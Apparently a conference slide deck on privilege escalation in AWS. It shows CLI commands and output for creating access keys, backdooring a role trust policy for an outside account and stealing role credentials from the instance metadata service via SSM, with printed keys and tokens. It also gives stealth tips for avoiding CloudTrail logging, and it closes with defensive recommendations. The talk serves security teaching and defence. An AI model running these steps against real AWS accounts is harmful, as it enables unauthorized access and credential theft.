## **Elevating Access**



A Methodical Approach to Privilege Escalation in AWS



### whomai


- Eduard Agavriloae
- Associate Manager @ KPMG Romania
- Cloud security & Web exploitation
- Writing articles on securitycafe.ro
- I have a cat





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## Objectives


- Types of privilege escalation in AWS
- Identify attack paths
- Execute







## 1. What is privilege escalation in AWS




















Lateral movement





















#### **Bucket policy**

The bucket policy, written in JSON, provides access to the objects stored in the bucket.



Public access is blocked because Block Public Access settings a To determine which settings are turned on, check your Block Pub

```
"Version": "2012-10-17",
"Statement": [
    "Sid": "DenyAlice",
    "Effect": "Deny",
    "Principal": {
      "AWS": "arn:aws:iam::278512597888:user/alice"
    "Action": "*",
    "Resource": [
      "arn:aws:s3:::production-code-abcdef",
      "arn:aws:s3:::production-code-abcdef/*"
```






#### **Bucket policy**

The bucket policy, written in JSON, provides access to the objects stored in the bucket.




Public access is blocked because Block Public Access settings a To determine which settings are turned on, check your Block Pub

```
"Version": "2012-10-17",
"Statement": [
    "Sid": "DenyAlice",
    "Effect": "Deny",
    "Principal": {
      "AWS": "arn:aws:iam::278512597888:user/alice"
    "Action": "*",
    "Resource": [
      "arn:aws:s3:::production-code-abcdef",
      "arn:aws:s3:::production-code-abcdef/*"
```

























## 2. Types of privilege escalation in AWS











#### Cross-account privesc









<sup>\*</sup>A session principal is either a role session or an IAM federated user session.

## 3. Classic privilege escalation


- 28 IAM vectors well-documented by Rhino Security Labs
- ChinoSecurityLabs/AWS-IAM-Privilege-Escalation
  - Modify permissions
  - Modify resources to steal permissions
  - Create new resources to steal permissions







# 3. Classic privilege escalation 3.1 iam:AttachUserPolicy















# 3. Classic privilege escalation3.2 iam:CreateAccessKeys





#### Permissions policies (1) Permissions are defined by policies attached to the user directly or through groups. Q Search Policy name 🔼 create-access-keys-and-dont-bother-cloud-team create-access-keys-and-dont-bother-cloud-team 1 [{ "Version": "2012-10-17", "Statement": [ "Sid": "VisualEditor0", "Effect": "Allow", "Action": "iam:CreateAccessKey", "Resource": "\*" 8 9 10 11 }



### Permissions policies (1)

Permissions are defined by policies attached to the user d

Q Search

Policy name 🛂

create-access-keys-and-dont-both

create-access-keys-and-dont-bother-c

```
Windows PowerShell
PS C:\> aws iam create-access-key --user-name bob
    "AccessKev": {
        "UserName": "bob",
        "AccessKeyId": "AKIAUBWFE70AI7TXLSPH",
        "Status": "Active",
        "SecretAccessKey": "38xvkksAlTGbZ3F8vd8IQZktk06iy5zGsnfdk/v/",
        "CreateDate": "2024-04-25T11:54:35+00:00"
PS C:\> aws configure --profile bob
AWS Access Key ID [None]: AKIAUBWFE70AI7TXLSPH
AWS Secret Access Key [None]: 38xvkksAlTGbZ3F8vd8IQZktk06iy5zGsnfdk/v/
Default region name [None]: eu-central-1
Default output format [None]: json
PS C:\> aws sts get-caller-identity --profile bob
    "UserId": "AIDAUBWFE70AKAPMFICN2",
    "Account": "278512597888",
   "Arn": "arn:aws:iam::278512597888:user/bob"
PS C:\>
```

# 3. Classic privilege escalation3.3 iam:PutGroupPolicy




```
User group name
devs
Users (2)
              Permissions
                                Access Advisor
Permissions policies (1) Info
You can attach up to 10 managed policies.
 Q Search
        Policy name 🛂
             just-dev-stuff
just-dev-stuff
 1 [
          "Version": "2012-10-17",
 3
          "Statement": [
 4
                   "Sid": "VisualEditor0",
                  "Effect": "Allow",
"Action": "ec2:RunInstances",
"Resource": "*"
 8
10
11 }
```




```
User group name
devs
Users (2)
             Permissions
                             Access Advisor
Permissions policies (1) Info
You can attach up to 10 managed policies.
 Q Search
       Policy name [2]
            just-dev-stuff
just-dev-stuff
 1 [
         "Version": "2012-10-17",
 3
         "Statement": [
 4
                 "Sid": "VisualEditor0",
 5
                 "Effect": "Allow",
 6
                 "Action": "ec2:RunInstances",
                "Resource": "*"
 8
 9
10
11
```

```
update-dev-permissions
 1 {
        "Version": "2012-10-17",
 2
        "Statement": [
 3
 4
                "Sid": "VisualEditor0",
 5
                "Effect": "Allow",
 6
                "Action": "iam:PutGroupPolicy",
                "Resource": "*"
 8
 9
10
   }
11
```











3. Classic privilege escalation 3.4 iam:UpdateAssumeRolePolicy







```
PS D:\> cat .\policy.json
    "Version": "2012-10-17",
    "Statement": [
            "Effect": "Allow",
            "Principal": {
                "AWS": ["arn:aws:iam::278512597888:user/bob",
                        "arn:aws:iam::259230201556:root"]
            "Action": "sts:AssumeRole",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
PS D:\> aws iam update-assume-role-policy --role-name admins-2fa --policy-document file://policy.json
PS D:\>
```


```
PS D:\> aws --profile hacker sts get-caller-identity
    "UserId": "AIDATYW2S63KHDHGI5S6D",
    "Account": "259230201556",
    "Arn": "arn:aws:iam::259230201556:user/hacker"
PS D:\> aws --profile hacker sts assume-role `
   --role-arn arn:aws:iam: 278512597888:role/admins-2fa
    --role-session-name backdoor
    "Credentials": {
        "AccessKeyId": "ASIAUBWFE70ANFXDVB3K",
        "SecretAccessKey": "RK5nmSLEGO3fZKYVtI/Yy42+jSyLLlg8J1VhWlc1",
        "SessionToken": "IQoJb3JpZ2luX2VjEH8aDGV1LWNlbnRyYWwtMSJGMEQCIFlpCFi
O6jxyXKsaAysNw448Up01CG8MLjjaRuh0WqA7IyqeAgjY///////8BEAEaDDI30DUxMjU5Nzq
W69cGS5E5KHb2jfap7PrZhSdhKi8Ma9NVQ/zPhr3Xnip5TWHPDPLa4NACPGUxQ1UvaX9rtHtWDaz
ihnqnFb1FmBMJulHV+N9vEIKUdT8weOMsr2ea+ReZHUzD0mrYlhfCrg+bVFrbacp2qNj6oAR2gf3
ISqKDL/RAW3RUeCOUt3Nfisb8FMvSBu0qb3fVk4Ya/qCqeow9yEHnIsSo/Tgt/2Ewv/7osQY6ngF
ulAfESnKb0iqr6FUvcW44xgJz0sRZXXOnaYrSmtwNFutdXOV95mQ1SLUCqtXtNkcxH+bHhH44TCr
7+7wrKMVzb5AphgH+OSE2i+DRbnr7hKGg8P1T9aqFEbyWtA==",
        "Expiration": "2024-05-07T15:48:31+00:00"
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAUBWFE70AHEB2PFEF7:backdoor",
        "Arn": "arn:aws:sts::278512597888:assumed-role/admins-2fa/backdoor"
```

### 3. Classic privilege escalation - Extended


Sum of all permissions








```
IAM > Roles > ec2-full-access
ec2-full-access Info
   Summary
   Creation date
   March 18, 2024, 08:47 (UTC+02:00)
   Last activity
                                        Trusted entities
                                        Entities that can assume this role under specified conditions.
                                         1 {
   Permissions
                   Trust relationships
                                         2
                                                 "Version": "2012-10-17",
                                         3 -
                                                 "Statement": [
                                         4 -
                                                          "Effect": "Allow",
                                         5
   Permissions policies (1) Info
                                         6 -
                                                         "Principal": {
                                                              "ANS": "arn:aws:iam::278512597888:user/alice"
   You can attach up to 10 managed policies.
                                         9
                                                         "Action": "sts:AssumeRole",
                                        10
                                                         "Condition": {}
                                        11
    Q Search
                                        12
                                           1
                                        13
          Policy name [2]
              AmazonEC2FullAccess
```





### 3. Classic privilege escalation - Extended

- Tools:
  - <u>https://github.com/nccgroup/PMapper</u> (Best)
  - https://github.com/RhinoSecurityLabs/IAMActionHunter (Great)
  - https://github.com/RhinoSecurityLabs/pacu (Great)
  - https://github.com/salesforce/cloudsplaining (Useful)



### 4. Privilege escalation - The hacker way


Boring techniques? Let's get 1337






### 4. Privilege escalation – The hacker way 4.1 SSM Send Command











Target EC2

```
PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `

>> --document-name "AWS-RunShellScript" `

>> --parameters commands= curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" `

>> | Select-String CommandId

"CommandId": "280c9eea-3eea-4b6b-a25d-4af5409af662",
```





```
PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `
  --document-name "AWS-RunShellScript" `
  --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" `
    | Select-String CommandId
       "CommandId": "280c9eea-3eea-4b6b-a25d-4af5409af662",
PS D:\> aws ssm list-command-invocations --command-id 280c9eea-3eea-4b6b-a25d-4af5409af662 --details | Select-String '"Output"'
                  "Output": "ssm-full-access-role\n-----ERROR-----\n % Total % Received % Xferd Average Speed
                                                                                                                     Time
                                                                                                                             Time
    Time Current\n
                                                 Dload Up
      Total
                      Left Speed\n\r 0
                                                                                                            0\r100
load
             Spent
                                                                Θ
                                                                                                                     20 100
              8206
                       0 --:--:-- 10000\n",
```






```
PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `
  --document-name "AWS-RunShellScript" \
  --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" `
    | Select-String CommandId
       "CommandId": "280c9eea-3eea-4b6b-a25d-4af5409af662",
PS D:\> aws ssm list-command-invocations --command-id 280c9eea-3eea-4b6b-a25d-4af5409af662 --details | Select-String '"Output"'
                   "Output": "ssm-full-access-role n------ERROR-----\n % Total % Received % Xferd Average Speed
                                                                                                                      Time
                                                                                                                              Time
    Time Current\n
                                                 Dload Up
                      Left Speed\n\r 0
                                                              0 0
     Total
              Spent
                                                                                                             0\r100
                                                                                                                      20 100
load
              8206
                       0 --:--:- 10000\n",
PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `
  --document-name "AWS-RunShellScript" `
  --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ssm-full-access-role"
    Select-String Commandid
       "CommandId": "f261a587-4809-4528-b699-19135e68795d",
```





```
--document-name "AWS-RunShellScript" `
   --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" `
     Select-String CommandId
        "CommandId": "280c9eea-3eea-4b6b-a25d-4af5409af662",
PS D:\> aws ssm list-command-invocations --command-id 280c9eea-3eea-4b6b-a25d-4af5409af662 --details | Select-String '"Output"'
                   "Output": "ssm-full-access-role n------ERROR-----\n % Total % Received % Xferd Average Speed
                                                                                                                          Time
                                                                                                                                  Time
    Time Current\n
                                                   Dload Up
                       Left Speed\n\r 0
load
     Total
              Spent
                                                       Θ
                                                                  Θ
                                                                                0 --:--:--
                                                                                                                0\r100
                                                                                                                          20 100
              8206
                        0 --:--:- 10000\n",
PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `
  --document-name "AWS-RunShellScript" `
  --parameters commands="curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ssm-full-access-role"
     Select-String Commandid
        "CommandId": "f261a587-4809-4528-b699-19135e68795d",
PS D:\> aws ssm list-command-invocations --command-id f261a587-4809-4528-b699-19135e68795d --details | Select-String '"Output"'
                   "Output": "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2022-10-13T11:44:58Z\",\n \"Type\" : \"AWS-HMAC\",\n
\"AccessKeyId\" : \"ASIATYW2S63KNRSHUMPA\",\n \"SecretAccessK
ey\" : \"IzSizTUe40vxLX62+q90XYR4vSo4R9K5b4DWe0Z0\",\n \"Token\" : \"IQoJb3JpZ2luX2VjENz///////wEaCXVzLWVhc3QtMSJGMEQCIDfjmKSSBs50iQQK
PO9suzTwsjsH4yVSCtZaNwUrCZfrAiAlFp9da2+1kNsUr38L3OvQmJ1X+7xBpZ0DTnyMWQ
dzvCrWBAil///////8BEAAaDDI10TIzMDIwMTU1NiIMjp0QZHpFUezS9gh+KqoELI5AKm/bTfacGipvmu1CArzhdhtP034plJx9IuNlePULnfdfS0+K+JNm5BSiSybS951zesL7
bhP4YGUC/hVlZn1+1v55AIEqMTBmzPmxYmN7RnXhJh/7HKHGAeV40PQskKQFhfI20mnyDR
ByA9t26o0WQVAgQSET55Adw7SzP0oOn1LDYdhfXZRgKt0jteQT6lA+cIozLnW1N3d3q6oRCW+88o4HvSDN2qtHXU2uPjCElvducO0H5IuZSg9tIrkSv23SQcv4Lc64Zbondb89b/Au
AntQZEpXP4I0Fbgap6PHtZ8YTjZEQrVdaxriCsF88eH+mA2lb1EBkgopEKPyhHeoDMl0zy
OiIy/sRWS32J0ntb84tVX2XHowxiZiTLksyswMmBKPTJZLBKQvF5aCRkAo1RFpD7YkdeFTUtYOtStko2Kth7Lj/1iBqtl9aiplSiAQrwKLN4y9k5RNuZMHxbTFJg6dqlWnDsbtG9Vs
GwlOqGc9O+B+mLXwZUsa4G2YL9AtDDS0ZLomKHC0PukbMEoJMXYK2Ojs10ZUaPGEpTN6mo
iLF1TofXGTJ7P5yVam4n/DioO1DYsh+nI+4KzQP4k5u3/ukh2IQnjAfXDNlQ7EmY02/+ZJ/z3INq8R1/nU3M759pWop/SCUGT4KzbNtiFKdoN8iOq1UrSCJp0BiMBWwWYqKxmgXmVD
BzkyAl9iUAn2CvG41SBHLxbxNDv4yB+9/kAHpKIXAfqw6/SfmqY6qqFEv2BPds+BqVSw/p
OcxDlY5BRU6cH+IVVPVfUj+T4a2kecgxMgtIookut0bH1/7gIUtKT0umATAKvtyUtt8MSdChppFXKYZp3bJiXOCv1/a/M4NseZTIdhVk8nvAT8p0g4X9Vg2NMJ5vv0frmzkyZFbWr9
viFPvYe14prs2Ikz/YGP01XAXi3/J1dNslgA/lRAEaYeeMlBP2CdM+WLSB6LFZVOaJwLz0
```


PS D:\> aws ssm send-command --instance-ids i-05389205ec7ce8456 `



I. Metadata access












- I. Metadata access
- II. Cluster admin -> assume role with web identity
  - https://blog.calif.io/p/privilege-escalation-in-eks







#### sa-eks-role Info

#### Summary

Creation date

March 19, 2024, 14:08 (UTC+02:00)

Last activity

-

17 18 ARN

arn:aws:iam::278512597888:role/sa-eks-role

Maximum session duration

1 hour

Permissions

Trust relationships

Tags Access Advisor

Revoke sessions

#### **Trusted entities**


Entities that can assume this role under specified conditions.

```
1- [
        "Version": "2012-10-17",
 2
        "Statement": [
 3 -
 4
                "Effect": "Allow",
 5
                "Principal": {
 6
                    "Federated": "arn:aws:iam::111122223333:oidc-provider/oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE"
 8
                "Action": "sts:AssumeRoleWithWebIdentity",
 9
                "Condition": {
10
                    "StringEquals": {
11 -
                        "oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud": "sts.amazonaws.com",
12
                        "oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE;sub": "system:serviceaccount:my-namesapce:my-service-account"
13
14
15
16
```

- AWS ROLE ARN
- AWS\_WEB\_IDENTITY\_TOKEN\_FILE
- /var/run/secrets/eks.amazonaws.com/serviceaccount/token
- aws assume-role-with-web-identity --role-arn <arn> --role-session-name <anything> --web-session-token <token>








4. Privilege escalation – The hacker way 4.3 Stealing from Lambda Functions




# 4. Privilege escalation – The hacker way 4.3 Stealing from Lambda Functions







# 4. Privilege escalation – The hacker way 4.3 Stealing from Lambda Functions



# 4. Privilege escalation – The hacker way 4.4 Hacking bad implementations

Invoke API Gateways or Lambda Functions to access/modify resources





#### Resource policy Info

Use resource policies to configure access control to this API. You

#### **Policy details**




#### Resource policy Info

Use resource policies to configure access control to this API.


#### **Policy details**

```
1  {
2    "Version": "2012-10-17",
3    "Statement": [
4      {
5         "Effect": "Allow",
6         "Principal": "*",
7         "Action": "execute-api:Invoke",
8         "Resource": "*"
9      }
10      ]
11  }
```







### 5. ABAC Privilege Escalation




### 5. ABAC Privilege Escalation



### 5. ABAC Privilege Escalation









### 6. Cross-account privilege escalation












#### Al-engineer Info Summary ARN arn:aws:iam::944212009752:user/Al-engineer Created April 22, 2024, 13:54 (UTC+03:00) Permissions Tags Security crede Groups Permissions policies (2) Permissions are defined by policies attached to the user directly or th Q Search Policy name [2] assume-role-policy assume-role-policy 1 - { "Version": "2012-10-17", 2 "Statement": [ 4 -"Sid": "VisualEditor0", "Effect": "Allow". "Action": "sts:AssumeRole", "Resource": "\*" 8 9 10 11



#### Al-engineer Info Summary arn:aws:iam::944212009752:user/Al-engineer Created April 22, 2024, 13:54 (UTC+03:00) Permissions Tags Security crede Groups Permissions policies (2) Permissions are defined by policies attached to the user directly or th Q Search Policy name [2] assume-role-policy assume-role-policy 1 - { "Version": "2012-10-17", 2 "Statement": [ 4 -"Sid": "VisualEditor0", "Effect": "Allow". "Action": "sts:AssumeRole", "Resource": "\*" 9 10 11





### 7. My take on privilege escalation

- For red team/insider threat engagements
  - (Determine permissions and build) ATTACK (path)
  - Identity -> Misconfiguration
- For cloud configuration review engagements
  - Find misconfigured resources and formulate attack paths
  - Misconfiguration -> Identity





## 7. My take on privilege escalation7.1 Privilege escalation search order


- 1. Enumerate permissions if you can
- 2. Check for "one-permission" IAM privilege escalation vectors
- 3. Look for roles you can assume and repeat (2)
- 4. Sum of all permissions: check for privesc vectors that require multiple permissions
- 5. Exploitation of services (EC2, Lambda, EKS)





# 8. More privesc vectors from engagements







#### multi-purpose-role Info Summary Creation date April 23, 2024, 09:34 (UTC+03:00) Last activity Permissions Trust relationships Tags Permissions policies (1) Info You can attach up to 10 managed policies. Q Search Policy name [2] AdministratorAccess

IAM > Roles > multi-purpose-role

#### multi-purpose-role Info

# Creation date April 23, 2024, 09:34 (UTC+03:00) Last activity Maximum session duration 1 hour

Permissions Trust relationships Tags Access Advisor Revoke sessions

#### **Trusted entities**

20

Entities that can assume this role under specified conditions.

```
1 - {
        "Version": "2012-10-17",
3 -
        "Statement": [
4-
                "Effect": "Allow",
5
6+
                "Principal": {
                    "Service": [
8
                        "ec2.amazonaws.com",
9
                        "lambda.amazonaws.com",
                        "cloudformation.amazonaws.com",
10
                        "dynamodb.amazonaws.com",
11
                        "elasticbeanstalk.amazonaws.com",
12
                        "apigateway.amazonaws.com",
13
                        "autoscaling.amazonaws.com"
14
15
16
17
                "Action": "sts:AssumeRole"
18
19
```

# 8. More privesc vectors from engagements



# management Info Summary Creation date

Permissions

Last activity

Trust relationships

Tags

Access Advisor

#### **Trusted entities**

April 24, 2024, 10:08 (UTC+03:00)

Entities that can assume this role under specified conditions.

```
1 {
         "Version": "2012-10-17",
 2
 3-
         "Statement": [
 4-
                 "Effect": "Allow",
 5
                  "Principal": {
                       "ANS": "arn:aws:iam::278512597888:root"
                  "Action": "sts:AssumeRole",
 9
                  "Condition": {
    "StringEquals": {
        "sts:ExternalId": "abc-def-example"
10
11-
12
13
14
15
16
17 }
```



#### management Info Summary Creation date April 24, 2024, 10:08 (UTC+03:00) Last activity Trust relationships Access Advisor Permissions Tags **Trusted entities** Entities that can assume this role under specified conditions.

```
1 {
         "Version": "2012-10-17",
 2
 3-
         "Statement": [
 4
                  "Effect": "Allow".
 5
                   "Principal": {
 6
                       "AWS": "arn:aws:iam::278512597888:root"
 8
                   "Action": "sts:AssumeRole",
 9
                   "Condition": {
    "StringEquals": {
        "sts:ExternalId": "abc-def-example"
10
11
12
13
14
15
16
17 }
```

#### test-developer-name Info



Overly permissive trust policy exists in your trust relationships
Broad access: Principals that include a wildcard (\*, ?) can be overly permissive.

#### Summary

```
Creation date
```

April 24, 2024, 10:13 (UTC+03:00)

Last activity

-

Permissions

Trust relationships

Tags

**Access Advisor** 

Revoke

#### **Trusted entities**

Entities that can assume this role under specified conditions.

```
1 {
        "Version": "2012-10-17",
 2
        "Statement": [
 3 -
 4
                "Sid": "Statement1",
 5
                "Effect": "Allow",
 6
                "Principal": {
 8
 9
                "Action": "sts:AssumeRole"
10
11
12
13 }
```

## 8. More privesc vectors from engagements


- Hack the environment's automation logic
  - Special care to Lambda Functions








#### 9. Enumeration in the dark











#### 9. Enumeration in the dark

- Don't use well-known hacking OS
- Keep generating new sessions
  - aws sts get-session-token --duration-seconds 129600
- Evading Logging in the Cloud: Bypassing AWS CloudTrail by Nick Frichette





### Initial access?





#### AWS CLOUDQUARRY: DIGGING FOR SECRETS IN PUBLIC AMIS

Money, secrets and mass exploitation: This research unveils a quarry of sensitive data stored in public AMIs. Digging through each AMI we managed to collect 500 GB of credentials, private repositories, access keys and more. The present article is the detailed analysis of how we did it and what the data represents.

We did a coordinated disclosure with AWS's security team before publishing this article.

Researchers and article authors:

- Eduard Agavriloae (<a href="https://www.linkedin.com/in/eduard-k-agavriloae/">https://www.linkedin.com/in/eduard-k-agavriloae/</a>, <a href="mailto:@saw\_your\_packet">@saw\_your\_packet</a>)
- Matei Josephs (https://www.linkedin.com/in/matei-anthony-josephs-325ba5199/)



## securitycafe.ro/2024/05/08/aws-cloudquarry-digging-for-secrets-in-public-amis/





## DEMO




# Least-privilege principle


IAM Access Analyzer


















# Least-privilege principle

- IAM Access Analyzer
- SCP and duty segregation





- Deny All Except Approved Services
- Deny Access to Root User
- Enforce MFA for Sensitive Operations
- Deny Access to Regions
- Deny Deletion of CloudTrail Logs
- Limit IAM Resources Creation to Security Team






# Least-privilege principle

- IAM Access Analyzer
- SCP and duty segregation
- Good architecture
  - Separate AWS accounts per environment and solution


















# Least-privilege principle

- IAM Access Analyzer
- SCP and duty segregation
- Good architecture
  - Separate AWS accounts per environment and solution
- Periodic IAM review
- Cloud Configuration Review





#### Final thoughts

- Defenders
  - Regularly review the IAM resources
  - Implement automation for incidents
- Hackers
  - Complex environments = privesc vector
  - Configuration Review: with or without execution
  - Red Team: with execution and stealth
  - Hack (legally) the cloud while is still easy







## Q&A Thank you!

- in Eduard Agavriloae
- https://securitycafe.ro/author/eagavriloae